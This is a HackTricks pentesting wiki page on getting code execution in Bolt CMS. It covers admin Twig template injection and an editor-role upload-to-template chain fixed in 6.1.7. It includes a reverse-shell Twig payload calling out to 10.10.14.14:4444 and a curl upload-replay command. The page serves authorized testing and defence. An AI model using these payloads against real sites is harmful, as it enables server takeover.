bolt-cms.md (6129B)
1 --- 2 title: "Bolt CMS" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/bolt-cms.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/bolt-cms.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Bolt CMS 14 15 ## Code execution through template editing 16 17 An administrator who can edit the active theme may be able to obtain code execution by inserting a dangerous Twig expression into a rendered template. This depends on the Bolt/Twig version and on which functions or filters the installation exposes; verify the configuration rather than assuming that the example payload is supported. Bolt themes consist of Twig templates, with `index.twig` normally serving as the home-page template.<sup>[[1]](#references)</sup> 18 19 1. Sign in to the Bolt back end, normally at `/bolt`. 20 2. Select **Configuration** → **View Configuration** → **Main Configuration**, or browse to `/bolt/file-edit/config?file=/bolt/config.yaml` where that legacy editor route is enabled. 21 3. Record the configured theme name.<sup>[[2]](#references)</sup> 22 23 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28771%29.png" alt="Bolt CMS configuration editor showing the active theme"><figcaption>Identifying the active Bolt theme.</figcaption></figure> 24 25 4. Open **File management** → **View & edit templates**, select the active theme (for example, `base-2021`), and edit a template that will be rendered, such as `index.twig`. On affected versions, the route may resemble `/bolt/file-edit/themes?file=/base-2021/index.twig`. 26 5. Insert an authorized [Twig server-side template injection test](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php) and save the template. For example, if the PHP `system` callback is exposed through Twig's `filter` filter, the following expression attempts a reverse shell: 27 28 ```twig 29 {{ ['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"'] | filter('system') }} 30 ``` 31 32 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28948%29.png" alt="Bolt CMS theme editor with a Twig template selected"><figcaption>Editing a template in the active theme.</figcaption></figure> 33 34 6. Select **Maintenance** → **Clear the cache**, then request the modified page. Bolt notes that configuration or template-related changes may require a cache clear before they become visible.<sup>[[2]](#references)</sup> 35 36 > [!WARNING] 37 > Template editing changes application files and can affect every visitor. Back up the original template, use a benign proof first, and restore the file immediately after testing. 38 39 ## `ROLE_EDITOR` async-upload to template execution (Bolt 6.1.6 and earlier) 40 41 Bolt 6.1.6 and earlier allowed an authenticated user with `ROLE_EDITOR` to upload a `.twig` file into the active theme through the asynchronous upload controller and then select that file in an editable record's `templateselect` field. Rendering the record evaluates the attacker-controlled Twig with the web-server user's privileges. Bolt 6.1.7 fixed the chain by enforcing the location-specific `managefiles:<location>` permission; it is distinct from the administrator-only template editor technique above.<sup>[[3]](#references)[[4]](#references)</sup> 42 43 The chain requires all of the following.<sup>[[3]](#references)[[4]](#references)</sup> 44 45 - Valid editor credentials with the generic `upload` permission. 46 - `twig` in `accept_file_types` and a writable active-theme directory. 47 - An editable ContentType containing a `templateselect` field. 48 - The active theme name and, when configured, its `template_directory`. 49 50 The following workflow verifies the chain with an inert payload.<sup>[[3]](#references)[[4]](#references)</sup> 51 52 1. From a normal file/image upload widget available to the editor, capture the session cookie and the `_csrf_token` generated for `upload`. 53 2. Create an inert template first, for example `poc.twig` containing `BOLT-TWIG-{{ 7 * 7 }}`. 54 3. Replay the multipart upload while changing the destination to the theme location. The backend prefix defaults to `/bolt` but is configurable: 55 56 ```bash 57 curl -sS -b cookies.txt \ 58 -F "_csrf_token=$TOKEN" \ 59 -F "file=@poc.twig;type=text/plain" \ 60 'https://target.example/bolt/async/upload?location=themes&path=base-2021' 61 ``` 62 63 4. Edit a permitted record, choose `poc.twig` in its template-select field, save it, and request or preview the public record. A response containing `BOLT-TWIG-49` proves controlled template evaluation; only then use an authorized payload from the [Twig SSTI page](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php). 64 5. Restore the record's original template selection and remove the uploaded file. 65 66 The vulnerable controller validates the upload CSRF token, constrains `path` to the selected location, and applies the configured extension/size rules, but it did not authorize the caller for the requested `location`. Therefore, an invalid-token or disallowed-extension response does **not** establish that the authorization flaw is fixed. Retest with a valid token and inert allowed file: Bolt 6.1.7 or a backport should reject an editor that lacks `managefiles:themes` before writing to the theme.<sup>[[3]](#references)[[4]](#references)</sup> 67 68 69 ## References 70 71 - [1] [Bolt documentation - Building templates](https://docs.boltcms.io/5.2/templating/building-templates) 72 - [2] [Bolt documentation - Configuration settings](https://docs.boltcms.io/5.2/configuration/settings) 73 - [3] [Bolt security advisory GHSA-m2j9-f9xw-xxgw - Authenticated editor RCE](https://github.com/bolt/core/security/advisories/GHSA-m2j9-f9xw-xxgw) 74 - [4] [Bolt 6.1.7 patch - Enforce location-specific upload permission](https://github.com/bolt/core/commit/9795d397a847e8e518a0df335b072ed36449a48b)